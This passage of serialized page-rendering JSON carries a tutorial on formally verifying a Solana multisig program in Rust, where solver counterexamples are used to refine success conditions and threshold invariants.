err!",{"type":25,"tag":271,"props":36620,"children":36621},{"style":13625},[36622],{"type":30,"value":394},{"type":25,"tag":271,"props":36624,"children":36625},{"style":13609},[36626],{"type":30,"value":36627},"MsError",{"type":25,"tag":271,"props":36629,"children":36630},{"style":13603},[36631],{"type":30,"value":13617},{"type":25,"tag":271,"props":36633,"children":36634},{"style":13609},[36635],{"type":30,"value":36636},"EmptyMembers",{"type":25,"tag":271,"props":36638,"children":36639},{"style":13625},[36640],{"type":30,"value":13665},{"type":25,"tag":271,"props":36642,"children":36644},{"class":13593,"line":36643},32,[36645],{"type":25,"tag":271,"props":36646,"children":36647},{"style":13625},[36648],{"type":30,"value":16501},{"type":25,"tag":271,"props":36650,"children":36652},{"class":13593,"line":36651},33,[36653],{"type":25,"tag":271,"props":36654,"children":36655},{"emptyLinePlaceholder":18},[36656],{"type":30,"value":16829},{"type":25,"tag":271,"props":36658,"children":36660},{"class":13593,"line":36659},34,[36661],{"type":25,"tag":271,"props":36662,"children":36663},{"style":14385},[36664],{"type":30,"value":36665},"    // make sure we don't exceed u16 on first call\n",{"type":25,"tag":271,"props":36667,"children":36669},{"class":13593,"line":36668},35,[36670,36674,36678,36682,36686,36690,36694,36699,36703],{"type":25,"tag":271,"props":36671,"children":36672},{"style":16171},[36673],{"type":30,"value":25404},{"type":25,"tag":271,"props":36675,"children":36676},{"style":13598},[36677],{"type":30,"value":36562},{"type":25,"tag":271,"props":36679,"children":36680},{"style":13603},[36681],{"type":30,"value":27315},{"type":25,"tag":271,"props":36683,"children":36684},{"style":13609},[36685],{"type":30,"value":26854},{"type":25,"tag":271,"props":36687,"children":36688},{"style":13603},[36689],{"type":30,"value":13617},{"type":25,"tag":271,"props":36691,"children":36692},{"style":13620},[36693],{"type":30,"value":32594},{"type":25,"tag":271,"props":36695,"children":36696},{"style":13625},[36697],{"type":30,"value":36698},"(u16",{"type":25,"tag":271,"props":36700,"children":36701},{"style":13603},[36702],{"type":30,"value":13617},{"type":25,"tag":271,"props":36704,"children":36705},{"style":13625},[36706],{"type":30,"value":36707},"MAX) {\n",{"type":25,"tag":271,"props":36709,"children":36711},{"class":13593,"line":36710},36,[36712,36716,36720,36724,36728,36732,36737],{"type":25,"tag":271,"props":36713,"children":36714},{"style":16171},[36715],{"type":30,"value":28866},{"type":25,"tag":271,"props":36717,"children":36718},{"style":13620},[36719],{"type":30,"value":36618},{"type":25,"tag":271,"props":36721,"children":36722},{"style":13625},[36723],{"type":30,"value":394},{"type":25,"tag":271,"props":36725,"children":36726},{"style":13609},[36727],{"type":30,"value":36627},{"type":25,"tag":271,"props":36729,"children":36730},{"style":13603},[36731],{"type":30,"value":13617},{"type":25,"tag":271,"props":36733,"children":36734},{"style":13609},[36735],{"type":30,"value":36736},"MaxMembersReached",{"type":25,"tag":271,"props":36738,"children":36739},{"style":13625},[36740],{"type":30,"value":13665},{"type":25,"tag":271,"props":36742,"children":36744},{"class":13593,"line":36743},37,[36745],{"type":25,"tag":271,"props":36746,"children":36747},{"style":13625},[36748],{"type":30,"value":16501},{"type":25,"tag":271,"props":36750,"children":36752},{"class":13593,"line":36751},38,[36753],{"type":25,"tag":271,"props":36754,"children":36755},{"emptyLinePlaceholder":18},[36756],{"type":30,"value":16829},{"type":25,"tag":271,"props":36758,"children":36760},{"class":13593,"line":36759},39,[36761],{"type":25,"tag":271,"props":36762,"children":36763},{"style":14385},[36764],{"type":30,"value":36765},"    // make sure threshold is valid\n",{"type":25,"tag":271,"props":36767,"children":36769},{"class":13593,"line":36768},40,[36770,36774,36778,36782,36786,36790,36794,36799,36803,36808,36812,36816,36820,36824,36828,36833,36838],{"type":25,"tag":271,"props":36771,"children":36772},{"style":16171},[36773],{"type":30,"value":25404},{"type":25,"tag":271,"props":36775,"children":36776},{"style":13609},[36777],{"type":30,"value":26854},{"type":25,"tag":271,"props":36779,"children":36780},{"style":13603},[36781],{"type":30,"value":13617},{"type":25,"tag":271,"props":36783,"children":36784},{"style":13620},[36785],{"type":30,"value":32594},{"type":25,"tag":271,"props":36787,"children":36788},{"style":13625},[36789],{"type":30,"value":394},{"type":25,"tag":271,"props":36791,"children":36792},{"style":13598},[36793],{"type":30,"value":35849},{"type":25,"tag":271,"props":36795,"children":36796},{"style":13625},[36797],{"type":30,"value":36798},") \u003C ",{"type":25,"tag":271,"props":36800,"children":36801},{"style":16187},[36802],{"type":30,"value":968},{"type":25,"tag":271,"props":36804,"children":36805},{"style":13603},[36806],{"type":30,"value":36807}," ||",{"type":25,"tag":271,"props":36809,"children":36810},{"style":13609},[36811],{"type":30,"value":26854},{"type":25,"tag":271,"props":36813,"children":36814},{"style":13603},[36815],{"type":30,"value":13617},{"type":25,"tag":271,"props":36817,"children":36818},{"style":13620},[36819],{"type":30,"value":32594},{"type":25,"tag":271,"props":36821,"children":36822},{"style":13625},[36823],{"type":30,"value":394},{"type":25,"tag":271,"props":36825,"children":36826},{"style":13598},[36827],{"type":30,"value":35849},{"type":25,"tag":271,"props":36829,"children":36830},{"style":13625},[36831],{"type":30,"value":36832},") > ",{"type":25,"tag":271,"props":36834,"children":36835},{"style":13598},[36836],{"type":30,"value":36837},"total_members",{"type":25,"tag":271,"props":36839,"children":36840},{"style":13625},[36841],{"type":30,"value":16431},{"type":25,"tag":271,"props":36843,"children":36845},{"class":13593,"line":36844},41,[36846,36850,36854,36858,36862,36866,36871],{"type":25,"tag":271,"props":36847,"children":36848},{"style":16171},[36849],{"type":30,"value":28866},{"type":25,"tag":271,"props":36851,"children":36852},{"style":13620},[36853],{"type":30,"value":36618},{"type":25,"tag":271,"props":36855,"children":36856},{"style":13625},[36857],{"type":30,"value":394},{"type":25,"tag":271,"props":36859,"children":36860},{"style":13609},[36861],{"type":30,"value":36627},{"type":25,"tag":271,"props":36863,"children":36864},{"style":13603},[36865],{"type":30,"value":13617},{"type":25,"tag":271,"props":36867,"children":36868},{"style":13609},[36869],{"type":30,"value":36870},"InvalidThreshold",{"type":25,"tag":271,"props":36872,"children":36873},{"style":13625},[36874],{"type":30,"value":13665},{"type":25,"tag":271,"props":36876,"children":36878},{"class":13593,"line":36877},42,[36879],{"type":25,"tag":271,"props":36880,"children":36881},{"style":13625},[36882],{"type":30,"value":16501},{"type":25,"tag":271,"props":36884,"children":36886},{"class":13593,"line":36885},43,[36887],{"type":25,"tag":271,"props":36888,"children":36889},{"emptyLinePlaceholder":18},[36890],{"type":30,"value":16829},{"type":25,"tag":271,"props":36892,"children":36894},{"class":13593,"line":36893},44,[36895,36899,36903,36907,36911,36916,36920,36924],{"type":25,"tag":271,"props":36896,"children":36897},{"style":13598},[36898],{"type":30,"value":33344},{"type":25,"tag":271,"props":36900,"children":36901},{"style":13603},[36902],{"type":30,"value":1860},{"type":25,"tag":271,"props":36904,"children":36905},{"style":13625},[36906],{"type":30,"value":27796},{"type":25,"tag":271,"props":36908,"children":36909},{"style":13603},[36910],{"type":30,"value":1860},{"type":25,"tag":271,"props":36912,"children":36913},{"style":13625},[36914],{"type":30,"value":36915},"multisig",{"type":25,"tag":271,"props":36917,"children":36918},{"style":13603},[36919],{"type":30,"value":1860},{"type":25,"tag":271,"props":36921,"children":36922},{"style":13620},[36923],{"type":30,"value":33861},{"type":25,"tag":271,"props":36925,"children":36926},{"style":13625},[36927],{"type":30,"value":16609},{"type":25,"tag":271,"props":36929,"children":36931},{"class":13593,"line":36930},45,[36932,36937],{"type":25,"tag":271,"props":36933,"children":36934},{"style":13598},[36935],{"type":30,"value":36936},"        threshold",{"type":25,"tag":271,"props":36938,"children":36939},{"style":13625},[36940],{"type":30,"value":14351},{"type":25,"tag":271,"props":36942,"children":36944},{"class":13593,"line":36943},46,[36945,36950],{"type":25,"tag":271,"props":36946,"children":36947},{"style":13598},[36948],{"type":30,"value":36949},"        create_key",{"type":25,"tag":271,"props":36951,"children":36952},{"style":13625},[36953],{"type":30,"value":14351},{"type":25,"tag":271,"props":36955,"children":36957},{"class":13593,"line":36956},47,[36958,36963],{"type":25,"tag":271,"props":36959,"children":36960},{"style":13598},[36961],{"type":30,"value":36962},"        members",{"type":25,"tag":271,"props":36964,"children":36965},{"style":13625},[36966],{"type":30,"value":14351},{"type":25,"tag":271,"props":36968,"children":36970},{"class":13593,"line":36969},48,[36971,36975,36979,36983,36988,36992,36996,37000,37005,37009,37013,37017],{"type":25,"tag":271,"props":36972,"children":36973},{"style":13603},[36974],{"type":30,"value":20873},{"type":25,"tag":271,"props":36976,"children":36977},{"style":13598},[36978],{"type":30,"value":33401},{"type":25,"tag":271,"props":36980,"children":36981},{"style":13603},[36982],{"type":30,"value":1860},{"type":25,"tag":271,"props":36984,"children":36985},{"style":13625},[36986],{"type":30,"value":36987},"bumps",{"type":25,"tag":271,"props":36989,"children":36990},{"style":13603},[36991],{"type":30,"value":1860},{"type":25,"tag":271,"props":36993,"children":36994},{"style":13620},[36995],{"type":30,"value":29474},{"type":25,"tag":271,"props":36997,"children":36998},{"style":13625},[36999],{"type":30,"value":394},{"type":25,"tag":271,"props":37001,"children":37002},{"style":17388},[37003],{"type":30,"value":37004},"\"multisig\"",{"type":25,"tag":271,"props":37006,"children":37007},{"style":13625},[37008],{"type":30,"value":440},{"type":25,"tag":271,"props":37010,"children":37011},{"style":13603},[37012],{"type":30,"value":1860},{"type":25,"tag":271,"props":37014,"children":37015},{"style":13620},[37016],{"type":30,"value":16815},{"type":25,"tag":271,"props":37018,"children":37019},{"style":13625},[37020],{"type":30,"value":16636},{"type":25,"tag":271,"props":37022,"children":37024},{"class":13593,"line":37023},49,[37025],{"type":25,"tag":271,"props":37026,"children":37027},{"style":13625},[37028],{"type":30,"value":37029},"    )\n",{"type":25,"tag":271,"props":37031,"children":37033},{"class":13593,"line":37032},50,[37034],{"type":25,"tag":271,"props":37035,"children":37036},{"style":13625},[37037],{"type":30,"value":17058},{"type":25,"tag":26,"props":37039,"children":37040},{},[37041,37043,37048,37050,37055],{"type":30,"value":37042},"We can start by testing an empty ",{"type":25,"tag":264,"props":37044,"children":37046},{"className":37045},[],[37047],{"type":30,"value":33275},{"type":30,"value":37049}," (this will default to ",{"type":25,"tag":264,"props":37051,"children":37053},{"className":37052},[],[37054],{"type":30,"value":280},{"type":30,"value":11371},{"type":25,"tag":7764,"props":37057,"children":37059},{"code":37058,"language":13585,"meta":7,"className":13586,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[37060],{"type":25,"tag":264,"props":37061,"children":37062},{"__ignoreMap":7},[37063,37071],{"type":25,"tag":271,"props":37064,"children":37065},{"class":13593,"line":13594},[37066],{"type":25,"tag":271,"props":37067,"children":37068},{"style":13625},[37069],{"type":30,"value":37070},"#[succeeds_if()]\n",{"type":25,"tag":271,"props":37072,"children":37073},{"class":13593,"line":11641},[37074,37078,37082,37086,37090,37094,37099,37103],{"type":25,"tag":271,"props":37075,"children":37076},{"style":14289},[37077],{"type":30,"value":14292},{"type":25,"tag":271,"props":37079,"children":37080},{"style":14289},[37081],{"type":30,"value":14297},{"type":25,"tag":271,"props":37083,"children":37084},{"style":13620},[37085],{"type":30,"value":20236},{"type":25,"tag":271,"props":37087,"children":37088},{"style":13625},[37089],{"type":30,"value":394},{"type":25,"tag":271,"props":37091,"children":37092},{"style":13603},[37093],{"type":30,"value":22714},{"type":25,"tag":271,"props":37095,"children":37096},{"style":13625},[37097],{"type":30,"value":37098},") { ",{"type":25,"tag":271,"props":37100,"children":37101},{"style":13603},[37102],{"type":30,"value":22714},{"type":25,"tag":271,"props":37104,"children":37105},{"style":13625},[37106],{"type":30,"value":22719},{"type":25,"tag":26,"props":37108,"children":37109},{},[37110],{"type":30,"value":37111},"Running the solver, we get:",{"type":25,"tag":7764,"props":37113,"children":37115},{"code":37114},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[37116],{"type":25,"tag":264,"props":37117,"children":37118},{"__ignoreMap":7},[37119],{"type":30,"value":37114},{"type":25,"tag":26,"props":37121,"children":37122},{},[37123,37125,37130],{"type":30,"value":37124},"This means that ",{"type":25,"tag":264,"props":37126,"children":37128},{"className":37127},[],[37129],{"type":30,"value":280},{"type":30,"value":37131}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":25,"tag":26,"props":37133,"children":37134},{},[37135],{"type":30,"value":37136},"We can ask the solver to produce a counterexample:",{"type":25,"tag":7764,"props":37138,"children":37140},{"code":37139},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[37141],{"type":25,"tag":264,"props":37142,"children":37143},{"__ignoreMap":7},[37144],{"type":30,"value":37139},{"type":25,"tag":26,"props":37146,"children":37147},{},[37148],{"type":30,"value":37149},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":25,"tag":26,"props":37151,"children":37152},{},[37153],{"type":25,"tag":10281,"props":37154,"children":37155},{},[37156,37158,37164],{"type":30,"value":37157},"Note also that the verifier decided to use a ",{"type":25,"tag":264,"props":37159,"children":37161},{"className":37160},[],[37162],{"type":30,"value":37163},"SparseVec",{"type":30,"value":37165}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":25,"tag":26,"props":37167,"children":37168},{},[37169],{"type":25,"tag":10281,"props":37170,"children":37171},{},[37172,37174,37179,37180,37186,37188,37193,37195,37200],{"type":30,"value":37173},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":25,"tag":264,"props":37175,"children":37177},{"className":37176},[],[37178],{"type":30,"value":16968},{"type":30,"value":12218},{"type":25,"tag":264,"props":37181,"children":37183},{"className":37182},[],[37184],{"type":30,"value":37185},"pop",{"type":30,"value":37187}," are stubbed out to simply panic for the ",{"type":25,"tag":264,"props":37189,"children":37191},{"className":37190},[],[37192],{"type":30,"value":37163},{"type":30,"value":37194}," and if this code tried to do that we would fall back to the concrete ",{"type":25,"tag":264,"props":37196,"children":37198},{"className":37197},[],[37199],{"type":30,"value":30333},{"type":30,"value":37201}," type.",{"type":25,"tag":26,"props":37203,"children":37204},{},[37205],{"type":30,"value":37206},"We can add this to our constraint and try again:",{"type":25,"tag":7764,"props":37208,"children":37210},{"code":37209,"language":13585,"meta":7,"className":13586,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[37211],{"type":25,"tag":264,"props":37212,"children":37213},{"__ignoreMap":7},[37214,37222,37259,37266],{"type":25,"tag":271,"props":37215,"children":37216},{"class":13593,"line":13594},[37217],{"type":25,"tag":271,"props":37218,"children":37219},{"style":13625},[37220],{"type":30,"value":37221},"#[succeeds_if(\n",{"type":25,"tag":271,"props":37223,"children":37224},{"class":13593,"line":11641},[37225,37230,37234,37238,37242,37246,37250,37254],{"type":25,"tag":271,"props":37226,"children":37227},{"style":13625},[37228],{"type":30,"value":37229},"    (threshold ",{"type":25,"tag":271,"props":37231,"children":37232},{"style":14289},[37233],{"type":30,"value":21962},{"type":25,"tag":271,"props":37235,"children":37236},{"style":13609},[37237],{"type":30,"value":26854},{"type":25,"tag":271,"props":37239,"children":37240},{"style":13625},[37241],{"type":30,"value":14406},{"type":25,"tag":271,"props":37243,"children":37244},{"style":13603},[37245],{"type":30,"value":32535},{"type":25,"tag":271,"props":37247,"children":37248},{"style":13625},[37249],{"type":30,"value":36483},{"type":25,"tag":271,"props":37251,"children":37252},{"style":13603},[37253],{"type":30,"value":1860},{"type":25,"tag":271,"props":37255,"children":37256},{"style":13625},[37257],{"type":30,"value":37258},"len()\n",{"type":25,"tag":271,"props":37260,"children":37261},{"class":13593,"line":14354},[37262],{"type":25,"tag":271,"props":37263,"children":37264},{"style":13625},[37265],{"type":30,"value":33379},{"type":25,"tag":271,"props":37267,"children":37268},{"class":13593,"line":14391},[37269,37273,37277,37281,37285,37289,37293,37297],{"type":25,"tag":271,"props":37270,"children":37271},{"style":14289},[37272],{"type":30,"value":14292},{"type":25,"tag":271,"props":37274,"children":37275},{"style":14289},[37276],{"type":30,"value":14297},{"type":25,"tag":271,"props":37278,"children":37279},{"style":13620},[37280],{"type":30,"value":20236},{"type":25,"tag":271,"props":37282,"children":37283},{"style":13625},[37284],{"type":30,"value":394},{"type":25,"tag":271,"props":37286,"children":37287},{"style":13603},[37288],{"type":30,"value":22714},{"type":25,"tag":271,"props":37290,"children":37291},{"style":13625},[37292],{"type":30,"value":37098},{"type":25,"tag":271,"props":37294,"children":37295},{"style":13603},[37296],{"type":30,"value":22714},{"type":25,"tag":271,"props":37298,"children":37299},{"style":13625},[37300],{"type":30,"value":22719},{"type":25,"tag":26,"props":37302,"children":37303},{},[37304],{"type":30,"value":37305},"Verification failed again! This time we get a different counterexample:",{"type":25,"tag":7764,"props":37307,"children":37309},{"code":37308},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[37310],{"type":25,"tag":264,"props":37311,"children":37312},{"__ignoreMap":7},[37313],{"type":30,"value":37308},{"type":25,"tag":26,"props":37315,"children":37316},{},[37317],{"type":30,"value":37318},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":25,"tag":7764,"props":37320,"children":37322},{"code":37321,"language":13585,"meta":7,"className":13586,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[37323],{"type":25,"tag":264,"props":37324,"children":37325},{"__ignoreMap":7},[37326,37333,37368,37389,37396],{"type":25,"tag":271,"props":37327,"children":37328},{"class":13593,"line":13594},[37329],{"type":25,"tag":271,"props":37330,"children":37331},{"style":13625},[37332],{"type":30,"value":37221},{"type":25,"tag":271,"props":37334,"children":37335},{"class":13593,"line":11641},[37336,37340,37344,37348,37352,37356,37360,37364],{"type":25,"tag":271,"props":37337,"children":37338},{"style":13625},[37339],{"type":30,"value":37229},{"type":25,"tag":271,"props":37341,"children":37342},{"style":14289},[37343],{"type":30,"value":21962},{"type":25,"tag":271,"props":37345,"children":37346},{"style":13609},[37347],{"type":30,"value":26854},{"type":25,"tag":271,"props":37349,"children":37350},{"style":13625},[37351],{"type":30,"value":14406},{"type":25,"tag":271,"props":37353,"children":37354},{"style":13603},[37355],{"type":30,"value":32535},{"type":25,"tag":271,"props":37357,"children":37358},{"style":13625},[37359],{"type":30,"value":36483},{"type":25,"tag":271,"props":37361,"children":37362},{"style":13603},[37363],{"type":30,"value":1860},{"type":25,"tag":271,"props":37365,"children":37366},{"style":13625},[37367],{"type":30,"value":37258},{"type":25,"tag":271,"props":37369,"children":37370},{"class":13593,"line":14354},[37371,37375,37380,37384],{"type":25,"tag":271,"props":37372,"children":37373},{"style":13603},[37374],{"type":30,"value":28743},{"type":25,"tag":271,"props":37376,"children":37377},{"style":13625},[37378],{"type":30,"value":37379}," threshold ",{"type":25,"tag":271,"props":37381,"children":37382},{"style":13603},[37383],{"type":30,"value":28810},{"type":25,"tag":271,"props":37385,"children":37386},{"style":13625},[37387],{"type":30,"value":37388}," 0\n",{"type":25,"tag":271,"props":37390,"children":37391},{"class":13593,"line":14391},[37392],{"type":25,"tag":271,"props":37393,"children":37394},{"style":13625},[37395],{"type":30,"value":33379},{"type":25,"tag":271,"props":37397,"children":37398},{"class":13593,"line":14400},[37399,37403,37407,37411,37415,37419,37423,37427],{"type":25,"tag":271,"props":37400,"children":37401},{"style":14289},[37402],{"type":30,"value":14292},{"type":25,"tag":271,"props":37404,"children":37405},{"style":14289},[37406],{"type":30,"value":14297},{"type":25,"tag":271,"props":37408,"children":37409},{"style":13620},[37410],{"type":30,"value":20236},{"type":25,"tag":271,"props":37412,"children":37413},{"style":13625},[37414],{"type":30,"value":394},{"type":25,"tag":271,"props":37416,"children":37417},{"style":13603},[37418],{"type":30,"value":22714},{"type":25,"tag":271,"props":37420,"children":37421},{"style":13625},[37422],{"type":30,"value":37098},{"type":25,"tag":271,"props":37424,"children":37425},{"style":13603},[37426],{"type":30,"value":22714},{"type":25,"tag":271,"props":37428,"children":37429},{"style":13625},[37430],{"type":30,"value":22719},{"type":25,"tag":26,"props":37432,"children":37433},{},[37434],{"type":30,"value":37435},"A third counterexample:",{"type":25,"tag":7764,"props":37437,"children":37439},{"code":37438},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[37440],{"type":25,"tag":264,"props":37441,"children":37442},{"__ignoreMap":7},[37443],{"type":30,"value":37438},{"type":25,"tag":26,"props":37445,"children":37446},{},[37447,37449,37455],{"type":30,"value":37448},"Here we see the size of our ",{"type":25,"tag":264,"props":37450,"children":37452},{"className":37451},[],[37453],{"type":30,"value":37454},"members",{"type":30,"value":37456}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":25,"tag":7764,"props":37458,"children":37460},{"code":37459,"language":13585,"meta":7,"className":13586,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[37461],{"type":25,"tag":264,"props":37462,"children":37463},{"__ignoreMap":7},[37464,37471,37506,37527,37579,37586],{"type":25,"tag":271,"props":37465,"children":37466},{"class":13593,"line":13594},[37467],{"type":25,"tag":271,"props":37468,"children":37469},{"style":13625},[37470],{"type":30,"value":37221},{"type":25,"tag":271,"props":37472,"children":37473},{"class":13593,"line":11641},[37474,37478,37482,37486,37490,37494,37498,37502],{"type":25,"tag":271,"props":37475,"children":37476},{"style":13625},[37477],{"type":30,"value":37229},{"type":25,"tag":271,"props":37479,"children":37480},{"style":14289},[37481],{"type":30,"value":21962},{"type":25,"tag":271,"props":37483,"children":37484},{"style":13609},[37485],{"type":30,"value":26854},{"type":25,"tag":271,"props":37487,"children":37488},{"style":13625},[37489],{"type":30,"value":14406},{"type":25,"tag":271,"props":37491,"children":37492},{"style":13603},[37493],{"type":30,"value":32535},{"type":25,"tag":271,"props":37495,"children":37496},{"style":13625},[37497],{"type":30,"value":36483},{"type":25,"tag":271,"props":37499,"children":37500},{"style":13603},[37501],{"type":30,"value":1860},{"type":25,"tag":271,"props":37503,"children":37504},{"style":13625},[37505],{"type":30,"value":37258},{"type":25,"tag":271,"props":37507,"children":37508},{"class":13593,"line":14354},[37509,37513,37518,37522],{"type":25,"tag":271,"props":37510,"children":37511},{"style":13603},[37512],{"type":30,"value":28743},{"type":25,"tag":271,"props":37514,"children":37515},{"style":13625},[37516],{"type":30,"value":37517}," (threshold ",{"type":25,"tag":271,"props":37519,"children":37520},{"style":13603},[37521],{"type":30,"value":28810},{"type":25,"tag":271,"props":37523,"children":37524},{"style":13625},[37525],{"type":30,"value":37526}," 0)\n",{"type":25,"tag":271,"props":37528,"children":37529},{"class":13593,"line":14391},[37530,37534,37538,37542,37546,37550,37554,37559,37563,37567,37571,37575],{"type":25,"tag":271,"props":37531,"children":37532},{"style":13603},[37533],{"type":30,"value":28743},{"type":25,"tag":271,"props":37535,"children":37536},{"style":13625},[37537],{"type":30,"value":36098},{"type":25,"tag":271,"props":37539,"children":37540},{"style":13603},[37541],{"type":30,"value":1860},{"type":25,"tag":271,"props":37543,"children":37544},{"style":13625},[37545],{"type":30,"value":34141},{"type":25,"tag":271,"props":37547,"children":37548},{"style":13603},[37549],{"type":30,"value":32535},{"type":25,"tag":271,"props":37551,"children":37552},{"style":13625},[37553],{"type":30,"value":16213},{"type":25,"tag":271,"props":37555,"children":37556},{"style":13609},[37557],{"type":30,"value":37558},"u16",{"type":25,"tag":271,"props":37560,"children":37561},{"style":13603},[37562],{"type":30,"value":13617},{"type":25,"tag":271,"props":37564,"children":37565},{"style":13609},[37566],{"type":30,"value":34159},{"type":25,"tag":271,"props":37568,"children":37569},{"style":14289},[37570],{"type":30,"value":21948},{"type":25,"tag":271,"props":37572,"children":37573},{"style":13609},[37574],{"type":30,"value":26854},{"type":25,"tag":271,"props":37576,"children":37577},{"style":13625},[37578],{"type":30,"value":32833},{"type":25,"tag":271,"props":37580,"children":37581},{"class":13593,"line":14400},[37582],{"type":25,"tag":271,"props":37583,"children":37584},{"style":13625},[37585],{"type":30,"value":33379},{"type":25,"tag":271,"props":37587,"children":37588},{"class":13593,"line":16406},[37589,37593,37597,37601,37605,37609,37613,37617],{"type":25,"tag":271,"props":37590,"children":37591},{"style":14289},[37592],{"type":30,"value":14292},{"type":25,"tag":271,"props":37594,"children":37595},{"style":14289},[37596],{"type":30,"value":14297},{"type":25,"tag":271,"props":37598,"children":37599},{"style":13620},[37600],{"type":30,"value":20236},{"type":25,"tag":271,"props":37602,"children":37603},{"style":13625},[37604],{"type":30,"value":394},{"type":25,"tag":271,"props":37606,"children":37607},{"style":13603},[37608],{"type":30,"value":22714},{"type":25,"tag":271,"props":37610,"children":37611},{"style":13625},[37612],{"type":30,"value":37098},{"type":25,"tag":271,"props":37614,"children":37615},{"style":13603},[37616],{"type":30,"value":22714},{"type":25,"tag":271,"props":37618,"children":37619},{"style":13625},[37620],{"type":30,"value":22719},{"type":25,"tag":26,"props":37622,"children":37623},{},[37624],{"type":30,"value":37625},"And now we get:",{"type":25,"tag":7764,"props":37627,"children":37629},{"code":37628},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[37630],{"type":25,"tag":264,"props":37631,"children":37632},{"__ignoreMap":7},[37633],{"type":30,"value":37628},{"type":25,"tag":26,"props":37635,"children":37636},{},[37637],{"type":30,"value":37638},"🥳🥳🥳",{"type":25,"tag":26,"props":37640,"children":37641},{},[37642],{"type":30,"value":37643},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":25,"tag":7764,"props":37645,"children":37647},{"code":37646,"language":13585,"meta":7,"className":13586,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[37648],{"type":25,"tag":264,"props":37649,"children":37650},{"__ignoreMap":7},[37651,37674,37705],{"type":25,"tag":271,"props":37652,"children":37653},{"class":13593,"line":13594},[37654,37658,37662,37666,37670],{"type":25,"tag":271,"props":37655,"children":37656},{"style":16171},[37657],{"type":30,"value":28701},{"type":25,"tag":271,"props":37659,"children":37660},{"style":13598},[37661],{"type":30,"value":36562},{"type":25,"tag":271,"props":37663,"children":37664},{"style":13603},[37665],{"type":30,"value":21839},{"type":25,"tag":271,"props":37667,"children":37668},{"style":16187},[37669],{"type":30,"value":17654},{"type":25,"tag":271,"props":37671,"children":37672},{"style":13625},[37673],{"type":30,"value":16431},{"type":25,"tag":271,"props":37675,"children":37676},{"class":13593,"line":11641},[37677,37681,37685,37689,37693,37697,37701],{"type":25,"tag":271,"props":37678,"children":37679},{"style":16171},[37680],{"type":30,"value":30111},{"type":25,"tag":271,"props":37682,"children":37683},{"style":13620},[37684],{"type":30,"value":36618},{"type":25,"tag":271,"props":37686,"children":37687},{"style":13625},[37688],{"type":30,"value":394},{"type":25,"tag":271,"props":37690,"children":37691},{"style":13609},[37692],{"type":30,"value":36627},{"type":25,"tag":271,"props":37694,"children":37695},{"style":13603},[37696],{"type":30,"value":13617},{"type":25,"tag":271,"props":37698,"children":37699},{"style":13609},[37700],{"type":30,"value":36636},{"type":25,"tag":271,"props":37702,"children":37703},{"style":13625},[37704],{"type":30,"value":13665},{"type":25,"tag":271,"props":37706,"children":37707},{"class":13593,"line":14354},[37708],{"type":25,"tag":271,"props":37709,"children":37710},{"style":13625},[37711],{"type":30,"value":17058},{"type":25,"tag":26,"props":37713,"children":37714},{},[37715,37717,37723,37725,37730,37732,37737,37739,37744],{"type":30,"value":37716},"In this case this is actually redundant because if ",{"type":25,"tag":264,"props":37718,"children":37720},{"className":37719},[],[37721],{"type":30,"value":37722},"members.len() == 0",{"type":30,"value":37724}," then our threshold would also have to be ",{"type":25,"tag":264,"props":37726,"children":37728},{"className":37727},[],[37729],{"type":30,"value":953},{"type":30,"value":37731}," (and our ",{"type":25,"tag":264,"props":37733,"children":37735},{"className":37734},[],[37736],{"type":30,"value":35849},{"type":30,"value":37738}," is not allowed to be ",{"type":25,"tag":264,"props":37740,"children":37742},{"className":37741},[],[37743],{"type":30,"value":953},{"type":30,"value":37745},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":25,"tag":247,"props":37747,"children":37749},{"id":37748},"_2-verify-threshold-requirements",[37750],{"type":30,"value":37751},"2. Verify threshold requirements",{"type":25,"tag":26,"props":37753,"children":37754},{},[37755],{"type":30,"value":37756},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":25,"tag":26,"props":37758,"children":37759},{},[37760,37762,37766],{"type":30,"value":37761},"Unlike the previous example, we want to verify this in ",{"type":25,"tag":10281,"props":37763,"children":37764},{},[37765],{"type":30,"value":22423},{"type":30,"value":37767}," cases. I.e. any instruction that could mutate the multisig account.",{"type":25,"tag":26,"props":37769,"children":37770},{},[37771,37773,37777,37779,37784],{"type":30,"value":37772},"In this case, we want to model this as an ",{"type":25,"tag":10281,"props":37774,"children":37775},{},[37776],{"type":30,"value":34879},{"type":30,"value":37778}," on the ",{"type":25,"tag":264,"props":37780,"children":37782},{"className":37781},[],[37783],{"type":30,"value":35841},{"type":30,"value":37785}," account struct:",{"type":25,"tag":7764,"props":37787,"children":37789},{"code":37788,"language":13585,"meta":7,"className":13586,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute 